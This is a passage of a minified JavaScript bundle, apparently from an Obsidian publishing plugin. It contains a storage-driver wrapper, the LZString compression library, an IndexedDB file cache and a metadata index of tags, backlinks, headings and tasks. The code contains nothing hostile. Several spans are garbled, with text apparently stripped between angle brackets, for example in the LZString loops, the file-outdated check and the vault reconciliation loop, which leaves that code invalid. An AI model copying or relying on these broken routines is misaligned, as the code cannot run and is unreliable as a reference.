y=await this._pluginManager.afterGet(p.key,p.value,g);h.push({key:p.key,value:y})}return(await this._pluginManager.afterGetItems(h,o)).map(d=>({key:c.get(d.key)??d.key,value:d.value}))})();return ke(s,i)}}_createRemoveItemsWrapper(e){return(n,r)=>{let i=typeof r=="function"?r:void 0,s=(async()=>{await this._pluginManager.ensureInitialized();let o=this._pluginManager.createContext("removeItems");o.operationState.isBatch=!0,o.operationState.batchSize=n.length;let a=await this._pluginManager.beforeRemoveItems(n,o),l=[];for(let u of a){let f=this._pluginManager.createContext("removeItem");f.operationState.isBatch=!0,f.operationState.batchSize=a.length;let h=await this._pluginManager.beforeRemove(u,f);l.push({key:h,context:f})}let c=l.map(u=>u.key);await e(c),await this._pluginManager.afterRemoveItems(c,o);for(let u of l)await this._pluginManager.afterRemove(u.key,u.context)})();return ke(s,i)}}_getSupportedDrivers(e){let n=[];for(let r of e)(this.supports(r)||this._isDriverForcedByInstanceConfig(r))&&n.push(r);return n}_isDriverForcedByInstanceConfig(e){return e===this.REACTNATIVEASYNCSTORAGE&&!!this._config.reactNativeAsyncStorage}async _resolveSupportedDrivers(e){let n=[];for(let r of e){let i=nu[r];if(i){if(!Xh[r]&&typeof i._support=="function")try{let s=await i._support();Xh[r]=!!s}catch{Xh[r]=!1}(this.supports(r)||this._isDriverForcedByInstanceConfig(r))&&n.push(r)}}return n}_wrapLibraryMethodsWithReady(){for(let e of Tz)FK(this,e)}_runDefaultDriverSelection(){return this._manualDriverOverride?this._driverSet??Promise.resolve():(this._isRunningDefaultDriverSelection=!0,this.setDriver(this._config.driver).then(()=>{this._isRunningDefaultDriverSelection=!1},e=>{throw this._isRunningDefaultDriverSelection=!1,e}))}_getCallbackOptions(){return{compatibilityMode:!(!this._config||typeof this._config.compatibilityMode!="boolean")&&!!this._config.compatibilityMode}}_notInitializedError(e){return Je("DRIVER_NOT_INITIALIZED","Driver not initialized",{operation:e})}async iterate(e,n){throw this._notInitializedError("iterate")}async getItems(e,n){throw this._notInitializedError("getItems")}async getItem(e,n){throw this._notInitializedError("getItem")}async setItem(e,n,r){throw this._notInitializedError("setItem")}async setItems(e,n){throw this._notInitializedError("setItems")}async removeItem(e,n){throw this._notInitializedError("removeItem")}async removeItems(e,n){throw this._notInitializedError("removeItems")}async runTransaction(e,n,r){throw this._notInitializedError("runTransaction")}async clear(e){throw this._notInitializedError("clear")}async length(e){throw this._notInitializedError("length")}async key(e,n){throw this._notInitializedError("key")}async keys(e){throw this._notInitializedError("keys")}async dropInstance(e,n){throw this._notInitializedError("dropInstance")}};var Iz,Az={exports:{}},Nk,Mk,LEe=(Iz||(Iz=1,Nk=Az,Mk=function(){var t=String.fromCharCode,e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",r={};function i(o,a){if(!r[o]){r[o]={};for(var l=0;l>>8,l[2*c+1]=f%256}return l},decompressFromUint8Array:function(o){if(o==null)return s.decompress(o);for(var a=new Array(o.length/2),l=0,c=a.length;l>=1}else{for(u=1,c=0;c>=1}--w==0&&(w=Math.pow(2,S),S++),delete d[y]}else for(u=h[y],c=0;c>=1;--w==0&&(w=Math.pow(2,S),S++),h[g]=b++,y=String(p)}if(y!==""){if(Object.prototype.hasOwnProperty.call(d,y)){if(y.charCodeAt(0)<256){for(c=0;c>=1}else{for(u=1,c=0;c>=1}--w==0&&(w=Math.pow(2,S),S++),delete d[y]}else for(u=h[y],c=0;c>=1;--w==0&&(w=Math.pow(2,S),S++)}for(u=2,c=0;c>=1;for(;;){if(k<<=1,E==a-1){D.push(l(k));break}E++}return D.join("")},decompress:function(o){return o==null?"":o==""?null:s._decompress(o.length,32768,function(a){return o.charCodeAt(a)})},_decompress:function(o,a,l){var c,u,f,h,d,p,g,y=[],w=4,b=4,S=3,D="",k=[],E={val:l(0),position:a,index:1};for(c=0;c<3;c+=1)y[c]=c;for(f=0,d=Math.pow(2,2),p=1;p!=d;)h=E.val&E.position,E.position>>=1,E.position==0&&(E.position=a,E.val=l(E.index++)),f|=(h>0?1:0)*p,p<<=1;switch(f){case 0:for(f=0,d=Math.pow(2,8),p=1;p!=d;)h=E.val&E.position,E.position>>=1,E.position==0&&(E.position=a,E.val=l(E.index++)),f|=(h>0?1:0)*p,p<<=1;g=t(f);break;case 1:for(f=0,d=Math.pow(2,16),p=1;p!=d;)h=E.val&E.position,E.position>>=1,E.position==0&&(E.position=a,E.val=l(E.index++)),f|=(h>0?1:0)*p,p<<=1;g=t(f);break;case 2:return""}for(y[3]=g,u=g,k.push(g);;){if(E.index>o)return"";for(f=0,d=Math.pow(2,S),p=1;p!=d;)h=E.val&E.position,E.position>>=1,E.position==0&&(E.position=a,E.val=l(E.index++)),f|=(h>0?1:0)*p,p<<=1;switch(g=f){case 0:for(f=0,d=Math.pow(2,8),p=1;p!=d;)h=E.val&E.position,E.position>>=1,E.position==0&&(E.position=a,E.val=l(E.index++)),f|=(h>0?1:0)*p,p<<=1;y[b++]=t(f),g=b-1,w--;break;case 1:for(f=0,d=Math.pow(2,16),p=1;p!=d;)h=E.val&E.position,E.position>>=1,E.position==0&&(E.position=a,E.val=l(E.index++)),f|=(h>0?1:0)*p,p<<=1;y[b++]=t(f),g=b-1,w--;break;case 2:return k.join("")}if(w==0&&(w=Math.pow(2,S),S++),y[g])D=y[g];else{if(g!==b)return null;D=u+u.charAt(0)}k.push(D),y[b++]=u+D.charAt(0),u=D,--w==0&&(w=Math.pow(2,S),S++)}}};return s}(),Nk!=null?Nk.exports=Mk:typeof angular<"u"&&angular!=null&&angular.module("LZString",[]).factory("LZString",function(){return Mk})),Az.exports);var BEe=new TextEncoder;var su=new Vk;var cy=class{constructor(e,n,r){this.vaultName=e;this.appId=n;this.version=r;this.persister=su.createInstance({name:`quartz-syncer/cache/${e}/${n}/${r}`,driver:[su.INDEXEDDB]})}persister;memoryCache=null;dirtyKeys=new Set;async preloadCache(){let e=new Map;await this.persister.iterate((n,r)=>{r.startsWith("file:")&&e.set(r,n)}),this.memoryCache=e}clearMemoryCache(){this.memoryCache=null,this.dirtyKeys.clear()}async flushCache(e){if(!this.memoryCache||this.dirtyKeys.size===0)return;let n=this.dirtyKeys.size,r=0;for(let i of this.dirtyKeys){let s=this.memoryCache.get(i);s&&await this.persister.setItem(i,s),r++,e&&(e.setProgress(Math.floor(r/n*100)),e.setIndexText(`Saving: ${r}/${n}`))}this.dirtyKeys.clear()}async getCacheEntry(e){let n=this.fileKey(e);return this.memoryCache?this.memoryCache.get(n)??null:await this.persister.getItem(n)}async setCacheEntry(e,n){let r=this.fileKey(e);if(this.memoryCache){this.memoryCache.set(r,n),this.dirtyKeys.add(r);return}await this.persister.setItem(r,n)}async recreate(){await su.dropInstance({name:`quartz-syncer/cache/${this.vaultName}/${this.appId}/${this.version}`}),await this.dropOutdatedCache(),this.persister=su.createInstance({name:`quartz-syncer/cache/${this.vaultName}/${this.appId}/${this.version}`,driver:[su.INDEXEDDB]})}async dropOutdatedCache(){let n=(await indexedDB.databases()).filter(r=>r.name&&r.name.startsWith(`quartz-syncer/cache/${this.vaultName}/${this.appId}/`)&&r.name!==`quartz-syncer/cache/${this.vaultName}/${this.appId}/${this.version}`);for(let r of n)indexedDB.deleteDatabase(r.name)}async isLocalFileOutdated(e,n){let r=await this.getCacheEntry(e);return r&&r.localData?r.hasDynamicContent?!0:r.timen)}async dropFile(e){await this.persister.removeItem(this.fileKey(e))}async dropAllFiles(){let e=await this.allFiles();for(let n of e)await this.persister.removeItem(this.fileKey(n))}async synchronize(e){let n=new Set(await this.allFiles());for(let r of e)n.delete(r);for(let r of n)await this.persister.removeItem(this.fileKey(r));return n}async saveToDataJson(e,n){let r={},i=await this.allKeys();for(let o of i){if(!o.startsWith("file:"))continue;let a=await this.persister.getItem(o);a&&(r[o]=a)}Object.keys(r).sort();let s=JSON.stringify(r,null,2);n.settings.cache=s,await n.saveSettings(),await this.setLastUpdateTimestamp(e,n)}async loadFromDataJson(e,n){let r=n.settings.cache,i=JSON.parse(r);for(let[s,o]of Object.entries(i))await this.persister.setItem(s,o);await this.setLastUpdateTimestamp(e,n)}async allKeys(){return this.persister.keys()}async allFiles(){return(await this.allKeys()).filter(n=>n.startsWith("file:")).map(n=>n.substring(5))}fileKey(e){return"file:"+e}async getLastUpdateTimestamp(){let e=await this.persister.getItem("data.json");return e||null}async setLastUpdateTimestamp(e,n){n.settings.cacheTimestamp=e,await this.persister.setItem("data.json",e),await n.saveSettings()}};m();m();var kr=require("obsidian"),AK=class{pathToId=new Map;idToPath=[];intern(t){let e=this.pathToId.get(t);if(e!==void 0)return e;let n=this.idToPath.length;return this.pathToId.set(t,n),this.idToPath.push(t),n}getId(t){return this.pathToId.get(t)}getPath(t){return this.idToPath[t]}rename(t,e){let n=this.pathToId.get(t);n!==void 0&&(this.pathToId.delete(t),this.pathToId.set(e,n),this.idToPath[n]=e)}internWithId(t,e){for(this.pathToId.set(t,e);this.idToPath.length<=e;)this.idToPath.push(void 0);this.idToPath[e]=t}allPaths(){return this.pathToId.keys()}has(t){return this.pathToId.has(t)}get size(){return this.pathToId.size}resolvePaths(t){let e=new Set;for(let n of t){let r=this.idToPath[n];r!==void 0&&e.add(r)}return e}clear(){this.pathToId.clear(),this.idToPath.length=0}},vr=class{index=new Map;get(t){return this.index.get(t)??PK}has(t){let e=this.index.get(t);return e!==void 0&&e.size>0}add(t,e){let n=this.index.get(t);n===void 0&&(n=new Set,this.index.set(t,n)),n.add(e)}remove(t,e){let n=this.index.get(t);n!==void 0&&(n.delete(e),n.size===0&&this.index.delete(t))}removeFromKeys(t,e){for(let n of t)this.remove(n,e)}entries(){return this.index}get size(){return this.index.size}clear(){this.index.clear()}},OK=class{index=new Map;get(t){return this.index.get(t)}has(t){return this.index.has(t)}set(t,e){this.index.set(t,e)}remove(t){this.index.delete(t)}removeKeys(t){for(let e of t)this.index.delete(e)}clear(){this.index.clear()}},PK=Object.freeze(new Set),NK=1,uy="meta",Io="intern",Ao="contrib",MK=class{db=null;dbName;constructor(t){this.dbName=`inverse-metadatacache:${t}`}async open(){try{return this.db=await LK(this.dbName,NK,t=>{t.objectStoreNames.contains(uy)||t.createObjectStore(uy),t.objectStoreNames.contains(Io)||t.createObjectStore(Io,{keyPath:"path"}),t.objectStoreNames.contains(Ao)||t.createObjectStore(Ao,{keyPath:"id"})}),!0}catch{return this.db=null,!1}}get isOpen(){return this.db!==null}async loadSnapshot(){if(!this.db)return null;try{let t=this.db.transaction([Io,Ao],"readonly"),[e,n]=await Promise.all([Jz(t.objectStore(Io)),Jz(t.objectStore(Ao))]);return{interns:e,contribs:n}}catch{return null}}async flush(t,e,n,r){if(!this.db)return!1;try{let i=this.db.transaction([Io,Ao],"readwrite"),s=i.objectStore(Io),o=i.objectStore(Ao);for(let a of t)s.put(a);for(let a of e)o.put(a);for(let a of n)o.delete(a);for(let a of r)s.delete(a);return await Xz(i),!0}catch{return!1}}async clear(){if(this.db)try{let t=this.db.transaction([uy,Io,Ao],"readwrite");t.objectStore(uy).clear(),t.objectStore(Io).clear(),t.objectStore(Ao).clear(),await Xz(t)}catch{}}close(){this.db?.close(),this.db=null}};function RK(t,e,n){let r={id:t,mtime:e};return n.tags?.size&&(r.tags=[...n.tags]),n.bodyTags?.size&&(r.bodyTags=[...n.bodyTags]),n.frontmatterTags?.size&&(r.frontmatterTags=[...n.frontmatterTags]),n.backlinks?.size&&(r.backlinks=[...n.backlinks]),n.bodyBacklinks?.size&&(r.bodyBacklinks=[...n.bodyBacklinks]),n.frontmatterBacklinks?.size&&(r.frontmatterBacklinks=[...n.frontmatterBacklinks]),n.unresolvedBacklinks?.size&&(r.unresolvedBacklinks=[...n.unresolvedBacklinks]),n.embeds?.size&&(r.embeds=[...n.embeds]),n.headings?.size&&(r.headings=[...n.headings]),n.frontmatterKeys?.size&&(r.frontmatterKeys=[...n.frontmatterKeys]),n.frontmatterValues?.size&&(r.frontmatterValues=[...n.frontmatterValues]),n.aliases?.size&&(r.aliases=[...n.aliases]),n.blocks?.size&&(r.blocks=[...n.blocks]),n.taskStatuses?.size&&(r.taskStatuses=[...n.taskStatuses]),r}function zK(t){let e={};return t.tags?.length&&(e.tags=new Set(t.tags)),t.bodyTags?.length&&(e.bodyTags=new Set(t.bodyTags)),t.frontmatterTags?.length&&(e.frontmatterTags=new Set(t.frontmatterTags)),t.backlinks?.length&&(e.backlinks=new Set(t.backlinks)),t.bodyBacklinks?.length&&(e.bodyBacklinks=new Set(t.bodyBacklinks)),t.frontmatterBacklinks?.length&&(e.frontmatterBacklinks=new Set(t.frontmatterBacklinks)),t.unresolvedBacklinks?.length&&(e.unresolvedBacklinks=new Set(t.unresolvedBacklinks)),t.embeds?.length&&(e.embeds=new Set(t.embeds)),t.headings?.length&&(e.headings=new Set(t.headings)),t.frontmatterKeys?.length&&(e.frontmatterKeys=new Set(t.frontmatterKeys)),t.frontmatterValues?.length&&(e.frontmatterValues=new Set(t.frontmatterValues)),t.aliases?.length&&(e.aliases=new Set(t.aliases)),t.blocks?.length&&(e.blocks=new Set(t.blocks)),t.taskStatuses?.length&&(e.taskStatuses=new Set(t.taskStatuses)),e}function LK(t,e,n){return new Promise((r,i)=>{let s=indexedDB.open(t,e);s.onupgradeneeded=()=>n(s.result),s.onsuccess=()=>r(s.result),s.onerror=()=>i(s.error)})}function Jz(t){return new Promise((e,n)=>{let r=t.getAll();r.onsuccess=()=>e(r.result),r.onerror=()=>n(r.error)})}function Xz(t){return new Promise((e,n)=>{t.oncomplete=()=>e(),t.onerror=()=>n(t.error),t.onabort=()=>n(t.error)})}var BK=500,$K=2e3,UK=3e4,fy=Object.freeze(new Set),jK=Object.freeze(new Map),qK=class extends kr.Events{app;files;contributions=new Map;mtimes=new Map;chunkSize;tagIndex=new vr;bodyTagIndex=new vr;frontmatterTagIndex=new vr;backlinkIndex=new vr;bodyBacklinkIndex=new vr;frontmatterBacklinkIndex=new vr;unresolvedBacklinkIndex=new vr;embedIndex=new vr;headingIndex=new vr;frontmatterKeyIndex=new vr;frontmatterValueIndex=new vr;aliasIndex=new vr;blockIndex=new OK;taskStatusIndex=new vr;eventRefs=[];_isReady=!1;_destroyed=!1;store=null;persistEnabled;dirtyFileIds=new Set;deletedFileIds=new Set;deletedPaths=new Set;dirtyInternPaths=new Set;flushTimer=null;flushIntervalTimer=null;flushDebounceMs;flushIntervalMs;get isReady(){return this._isReady}get isDestroyed(){return this._destroyed}on(t,e,n){return super.on(t,e,n)}constructor(t,e){super(),this.app=t,this.files=new AK,this.chunkSize=e?.chunkSize??BK,this.persistEnabled=e?.persist!==!1,this.flushDebounceMs=e?.flushDebounceMs??$K,this.flushIntervalMs=e?.flushIntervalMs??UK,this.waitForMetadataCacheThenInitialize()}waitForMetadataCacheThenInitialize(){this.registerEvents();let t=this.app.metadataCache.resolvedLinks;if(Object.keys(t).some(a=>Object.keys(t[a]??{}).length>0)){this.initialize();return}let n=!1,r=!1,i=!1,s=()=>{r&&i&&this.finalizeLinks()},o=()=>{n?(this.app.metadataCache.off("resolved",o),i=!0,s()):(n=!0,this.initializeAndWaitForLinks().then(()=>{r=!0,s()}))};this.app.metadataCache.on("resolved",o)}async initializeAndWaitForLinks(){let t=!1;this.persistEnabled&&(t=await this.tryLoadFromDb()),t?await this.reconcileWithVault():await this.buildInitialIndex(),this.persistEnabled&&this.store?.isOpen&&this.startPeriodicFlush()}finalizeLinks(){this.rebuildAllLinkIndexes(),this._isReady=!0,this.trigger("ready")}registerEvents(){let t=this.app.metadataCache,e=this.app.vault;this.eventRefs.push(t.on("changed",(n,r,i)=>{this.updateFileFromCache(n.path,i,n.stat.mtime)})),this.eventRefs.push(t.on("deleted",(n,r)=>{this.removeFile(n.path)})),this.eventRefs.push(t.on("resolve",n=>{this.updateFileLinks(n.path)})),this.eventRefs.push(e.on("rename",(n,r)=>{this.handleRename(r,n.path)}))}async initialize(){let t=!1;this.persistEnabled&&(t=await this.tryLoadFromDb()),t?await this.reconcileWithVault():await this.buildInitialIndex(),this.rebuildAllLinkIndexes(),this.persistEnabled&&this.store?.isOpen&&this.startPeriodicFlush(),this._isReady||(this._isReady=!0,this.trigger("ready"))}async tryLoadFromDb(){try{let t=this.app.appId;if(this.store=new MK(t??"default"),!await this.store.open())return this.disablePersistence(),!1;let n=await this.store.loadSnapshot();return!n||n.interns.length===0?!1:(this.restoreFromSnapshot(n.interns,n.contribs),!0)}catch{return this.disablePersistence(),!1}}restoreFromSnapshot(t,e){for(let{path:n,id:r}of t)this.files.internWithId(n,r);for(let n of e){let r=zK(n);this.contributions.set(n.id,r),this.mtimes.set(n.id,n.mtime),this.rebuildIndexesFromContributions(n.id,r)}}rebuildIndexesFromContributions(t,e){if(e.tags)for(let n of e.tags)this.tagIndex.add(n,t);if(e.bodyTags)for(let n of e.bodyTags)this.bodyTagIndex.add(n,t);if(e.frontmatterTags)for(let n of e.frontmatterTags)this.frontmatterTagIndex.add(n,t);if(e.backlinks)for(let n of e.backlinks)this.backlinkIndex.add(n,t);if(e.bodyBacklinks)for(let n of e.bodyBacklinks)this.bodyBacklinkIndex.add(n,t);if(e.frontmatterBacklinks)for(let n of e.frontmatterBacklinks)this.frontmatterBacklinkIndex.add(n,t);if(e.unresolvedBacklinks)for(let n of e.unresolvedBacklinks)this.unresolvedBacklinkIndex.add(n,t);if(e.embeds)for(let n of e.embeds)this.embedIndex.add(n,t);if(e.headings)for(let n of e.headings)this.headingIndex.add(n,t);if(e.frontmatterKeys)for(let n of e.frontmatterKeys)this.frontmatterKeyIndex.add(n,t);if(e.frontmatterValues)for(let n of e.frontmatterValues)this.frontmatterValueIndex.add(n,t);if(e.aliases)for(let n of e.aliases)this.aliasIndex.add(n,t);if(e.blocks)for(let n of e.blocks)this.blockIndex.set(n,t);if(e.taskStatuses)for(let n of e.taskStatuses)this.taskStatusIndex.add(n,t)}async reconcileWithVault(){let t=this.app.vault.getMarkdownFiles(),e=new Set,n=[];for(let o of t){e.add(o.path);let a=this.files.getId(o.path);(a===void 0||this.mtimes.get(a)!==o.stat.mtime)&&n.push(o)}let r=this.files.allPaths();for(let o of r)e.has(o)||this.removeFile(o);let i=n.length,s=0;for(let o=0;o0&&(u.add(f),this.frontmatterBacklinkIndex.add(f,r)),(d>h||h===0)&&(c.add(f),this.bodyBacklinkIndex.add(f,r))}i.backlinks=l,i.bodyBacklinks=c,i.frontmatterBacklinks=u}for(let n of Object.keys(e)){let r=this.files.intern(n),i=this.getOrCreateContributions(r),s=e[n];if(s){let o=new Set;for(let a of Object.keys(s)){let l=a.toLowerCase();o.add(l),this.unresolvedBacklinkIndex.add(l,r)}i.unresolvedBacklinks=o}}for(let n of this.app.vault.getMarkdownFiles()){let r=this.files.getId(n.path);if(r===void 0)continue;let i=this.app.metadataCache.getFileCache(n);if(!i?.embeds)continue;let s=this.getOrCreateContributions(r),o=new Set;for(let a of i.embeds){let l=(0,kr.getLinkpath)(a.link),u=this.app.metadataCache.getFirstLinkpathDest(l,n.path)?.path??l;o.add(u),this.embedIndex.add(u,r)}s.embeds=o,this.markDirty(r,n.path)}}indexFileFromCache(t,e){let n=this.files.intern(t),r=this.getOrCreateContributions(n);this.indexTags(n,e,r),this.indexEmbeds(n,e,r),this.indexHeadings(n,e,r),this.indexFrontmatter(n,e,r),this.indexAliases(n,e,r),this.indexBlocks(n,e,r),this.indexTasks(n,e,r)}indexTags(t,e,n){let r=(0,kr.getAllTags)(e);if(!r)return;let i=new Set;for(let l of r){let c=l.toLowerCase();i.add(c),this.tagIndex.add(c,t)}n.tags=i;let s=new Set;if(e.tags)for(let l of e.tags){let c=l.tag.toLowerCase();s.add(c),this.bodyTagIndex.add(c,t)}n.bodyTags=s;let o=new Set,a=(0,kr.parseFrontMatterTags)(e.frontmatter??null);if(a)for(let l of a){let c=l.toLowerCase();o.add(c),this.frontmatterTagIndex.add(c,t)}n.frontmatterTags=o}indexTasks(t,e,n){if(!e.listItems)return;let r=new Set;for(let i of e.listItems)i.task!==void 0&&(r.add(i.task),this.taskStatusIndex.add(i.task,t));n.taskStatuses=r}indexEmbeds(t,e,n){if(!e.embeds)return;let r=new Set;for(let i of e.embeds){let s=(0,kr.getLinkpath)(i.link),a=this.app.metadataCache.getFirstLinkpathDest(s,this.files.getPath(t)??"")?.path??s;r.add(a),this.embedIndex.add(a,t)}n.embeds=r}indexHeadings(t,e,n){if(!e.headings)return;let r=new Set;for(let i of e.headings){let s=i.heading.toLowerCase();r.add(s),this.headingIndex.add(s,t)}n.headings=r}indexFrontmatter(t,e,n){if(!e.frontmatter)return;let r=new Set,i=new Set;for(let[s,o]of Object.entries(e.frontmatter)){if(s==="position")continue;let a=s.toLowerCase();r.add(a),this.frontmatterKeyIndex.add(a,t);let l=VK(a,o);for(let c of l)i.add(c),this.frontmatterValueIndex.add(c,t)}n.frontmatterKeys=r,n.frontmatterValues=i}indexAliases(t,e,n){let r=(0,kr.parseFrontMatterAliases)(e.frontmatter??null);if(!r)return;let i=new Set;for(let s of r){let o=s.toLowerCase();i.add(o),this.aliasIndex.add(o,t)}n.aliases=i}indexBlocks(t,e,n){if(!e.blocks)return;let r=new Set;for(let i of Object.keys(e.blocks))r.add(i),this.blockIndex.set(i,t);n.blocks=r}indexUnresolvedBacklinks(t,e,n){let r=this.app.metadataCache.unresolvedLinks[e];if(!r)return;let i=new Set;for(let s of Object.keys(r)){let o=s.toLowerCase();i.add(o),this.unresolvedBacklinkIndex.add(o,t)}n.unresolvedBacklinks=i}updateFileFromCache(t,e,n){let r=this.files.intern(t);this.removeCacheContributions(r);let i=this.getOrCreateContributions(r);this.indexTags(r,e,i),this.indexEmbeds(r,e,i),this.indexHeadings(r,e,i),this.indexFrontmatter(r,e,i),this.indexAliases(r,e,i),this.indexBlocks(r,e,i),this.indexTasks(r,e,i),this.mtimes.set(r,n),this.markDirty(r,t),this.trigger("file-updated",t)}updateFileLinks(t){let e=this.files.getId(t);if(e===void 0)return;this.removeLinkContributions(e);let n=this.getOrCreateContributions(e);this.indexBacklinksWithSeparation(e,t,n),this.indexUnresolvedBacklinks(e,t,n),this.markDirty(e,t),this.trigger("file-updated",t)}indexBacklinksWithSeparation(t,e,n){let r=this.app.metadataCache.resolvedLinks[e];if(!r)return;let i=new Map,s=this.app.vault.getFileByPath(e);if(s){let c=this.app.metadataCache.getFileCache(s);if(c?.frontmatterLinks)for(let u of c.frontmatterLinks){let f=(0,kr.getLinkpath)(u.link),h=this.app.metadataCache.getFirstLinkpathDest(f,e);h&&i.set(h.path,(i.get(h.path)??0)+1)}}let o=new Set,a=new Set,l=new Set;for(let c of Object.keys(r)){o.add(c),this.backlinkIndex.add(c,t);let u=i.get(c)??0,f=r[c]??0;u>0&&(l.add(c),this.frontmatterBacklinkIndex.add(c,t)),(f>u||u===0)&&(a.add(c),this.bodyBacklinkIndex.add(c,t))}n.backlinks=o,n.bodyBacklinks=a,n.frontmatterBacklinks=l}removeFile(t){let e=this.files.getId(t);e!==void 0&&(this.removeAllContributions(e),this.contributions.delete(e),this.mtimes.delete(e),this.deletedFileIds.add(e),this.deletedPaths.add(t),this.dirtyFileIds.delete(e),this.scheduleDebouncedFlush(),this.trigger("file-updated",t))}handleRename(t,e){this.files.rename(t,e);let n=this.files.getId(e);if(n===void 0)return;let r=this.contributions.get(n);r&&(r.backlinks&&(this.backlinkIndex.removeFromKeys(r.backlinks,n),r.backlinks=void 0),r.unresolvedBacklinks&&(this.unresolvedBacklinkIndex.removeFromKeys(r.unresolvedBacklinks,n),r.unresolvedBacklinks=void 0),this.deletedPaths.add(t),this.markDirty(n,e),this.trigger("file-updated",e))}removeCacheContributions(t){let e=this.contributions.get(t);e&&(e.tags&&this.tagIndex.removeFromKeys(e.tags,t),e.bodyTags&&this.bodyTagIndex.removeFromKeys(e.bodyTags,t),e.frontmatterTags&&this.frontmatterTagIndex.removeFromKeys(e.frontmatterTags,t),e.embeds&&this.embedIndex.removeFromKeys(e.embeds,t),e.headings&&this.headingIndex.removeFromKeys(e.headings,t),e.frontmatterKeys&&this.frontmatterKeyIndex.removeFromKeys(e.frontmatterKeys,t),e.frontmatterValues&&this.frontmatterValueIndex.removeFromKeys(e.frontmatterValues,t),e.aliases&&this.aliasIndex.removeFromKeys(e.aliases,t),e.blocks&&this.blockIndex.removeKeys(e.blocks),e.taskStatuses&&this.taskStatusIndex.removeFromKeys(e.taskStatuses,t),e.tags=void 0,e.bodyTags=void 0,e.frontmatterTags=void 0,e.embeds=void 0,e.headings=void 0,e.frontmatterKeys=void 0,e.frontmatterValues=void 0,e.aliases=void 0,e.blocks=void 0,e.taskStatuses=void 0)}removeLinkContributions(t){let e=this.contributions.get(t);e&&(e.backlinks&&this.backlinkIndex.removeFromKeys(e.backlinks,t),e.bodyBacklinks&&this.bodyBacklinkIndex.removeFromKeys(e.bodyBacklinks,t),e.frontmatterBacklinks&&this.frontmatterBacklinkIndex.removeFromKeys(e.frontmatterBacklinks,t),e.unresolvedBacklinks&&this.unresolvedBacklinkIndex.removeFromKeys(e.unresolvedBacklinks,t),e.backlinks=void 0,e.bodyBacklinks=void 0,e.frontmatterBacklinks=void 0,e.unresolvedBacklinks=void 0)}removeAllContributions(t){this.removeCacheContributions(t),this.removeLinkContributions(t)}getOrCreateContributions(t){let e=this.contributions.get(t);return e||(e={},this.contributions.set(t,e)),e}markDirty(t,e){this.dirtyFileIds.add(t),this.dirtyInternPaths.add(e),this.scheduleDebouncedFlush()}scheduleDebouncedFlush(){!this.persistEnabled||!this.store?.isOpen||this.flushTimer===null&&(this.flushTimer=setTimeout(()=>{this.flushTimer=null,this.flushToDb()},this.flushDebounceMs))}startPeriodicFlush(){this.flushIntervalTimer=setInterval(()=>{this.flushToDb()},this.flushIntervalMs)}async flushToDb(){if(!this.store?.isOpen||this.dirtyFileIds.size===0&&this.deletedFileIds.size===0)return;let t=[];for(let s of this.dirtyInternPaths){let o=this.files.getId(s);o!==void 0&&t.push({path:s,id:o})}let e=[];for(let s of this.dirtyFileIds){let o=this.contributions.get(s),a=this.mtimes.get(s)??0;o&&e.push(RK(s,a,o))}let n=[...this.deletedFileIds],r=[...this.deletedPaths];this.dirtyFileIds.clear(),this.dirtyInternPaths.clear(),this.deletedFileIds.clear(),this.deletedPaths.clear(),await this.store.flush(t,e,n,r)||this.disablePersistence()}disablePersistence(){this.persistEnabled=!1,this.store?.close(),this.store=null}resolveIndex(t,e){let n=t.get(e);return n.size===0?fy:this.files.resolvePaths(n)}resolveFullIndex(t){let e=t.entries();if(e.size===0)return jK;let n=new Map;for(let[r,i]of e)n.set(r,this.files.resolvePaths(i));return n}getFilesWithTag(t){let e=t.startsWith("#")?t.toLowerCase():`#${t.toLowerCase()}`;return this.resolveIndex(this.tagIndex,e)}getFilesWithTagInBody(t){let e=t.startsWith("#")?t.toLowerCase():`#${t.toLowerCase()}`;return this.resolveIndex(this.bodyTagIndex,e)}getFilesWithTagInFrontmatter(t){let e=t.startsWith("#")?t.toLowerCase():`#${t.toLowerCase()}`;return this.resolveIndex(this.frontmatterTagIndex,e)}getAllTagsWithFiles(){return this.resolveFullIndex(this.tagIndex)}getBacklinksForFile(t){let e=typeof t=="string"?t:t.path;return this.resolveIndex(this.backlinkIndex,e)}getBacklinksFromBody(t){let e=typeof t=="string"?t:t.path;return this.resolveIndex(this.bodyBacklinkIndex,e)}getBacklinksFromFrontmatter(t){let e=typeof t=="string"?t:t.path;return this.resolveIndex(this.frontmatterBacklinkIndex,e)}getAllBacklinksWithFiles(){return this.resolveFullIndex(this.backlinkIndex)}getUnresolvedBacklinks(t){return this.resolveIndex(this.unresolvedBacklinkIndex,t.toLowerCase())}getFilesEmbedding(t){let e=typeof t=="string"?t:t.path;return this.resolveIndex(this.embedIndex,e)}getAllEmbedsWithFiles(){return this.resolveFullIndex(this.embedIndex)}getFilesWithHeading(t){return this.resolveIndex(this.headingIndex,t.toLowerCase())}getAllHeadingsWithFiles(){return this.resolveFullIndex(this.headingIndex)}getFilesWithFrontmatterKey(t){return this.resolveIndex(this.frontmatterKeyIndex,t.toLowerCase())}getFilesWithFrontmatterValue(t,e){let n=Kk(t.toLowerCase(),e);return this.resolveIndex(this.frontmatterValueIndex,n)}getAllFrontmatterKeysWithFiles(){return this.resolveFullIndex(this.frontmatterKeyIndex)}getFilesWithAlias(t){return this.resolveIndex(this.aliasIndex,t.toLowerCase())}getAllAliasesWithFiles(){return this.resolveFullIndex(this.aliasIndex)}getFileWithBlockId(t){let e=this.blockIndex.get(t);if(e===void 0)return null;let n=this.files.getPath(e);return n===void 0?null:this.app.vault.getFileByPath(n)??null}getFilesWithTasks(){let t=new Set;for(let e of this.taskStatusIndex.entries().values())for(let n of e)t.add(n);return t.size===0?fy:this.files.resolvePaths(t)}getFilesWithTaskStatus(t){if(typeof t=="string")return this.resolveIndex(this.taskStatusIndex,t);let e=new Set;for(let n of t)for(let r of this.taskStatusIndex.get(n))e.add(r);return e.size===0?fy:this.files.resolvePaths(e)}getAllTaskStatusesWithFiles(){return this.resolveFullIndex(this.taskStatusIndex)}getFilesWithOpenTasks(){return this.resolveIndex(this.taskStatusIndex," ")}getFilesWithCompletedTasks(){let t=new Set;for(let[e,n]of this.taskStatusIndex.entries())if(e!==" ")for(let r of n)t.add(r);return t.size===0?fy:this.files.resolvePaths(t)}destroy(){if(!this._destroyed){this._destroyed=!0,this.flushTimer!==null&&(clearTimeout(this.flushTimer),this.flushTimer=null),this.flushIntervalTimer!==null&&(clearInterval(this.flushIntervalTimer),this.flushIntervalTimer=null),this.flushToDb();for(let t of 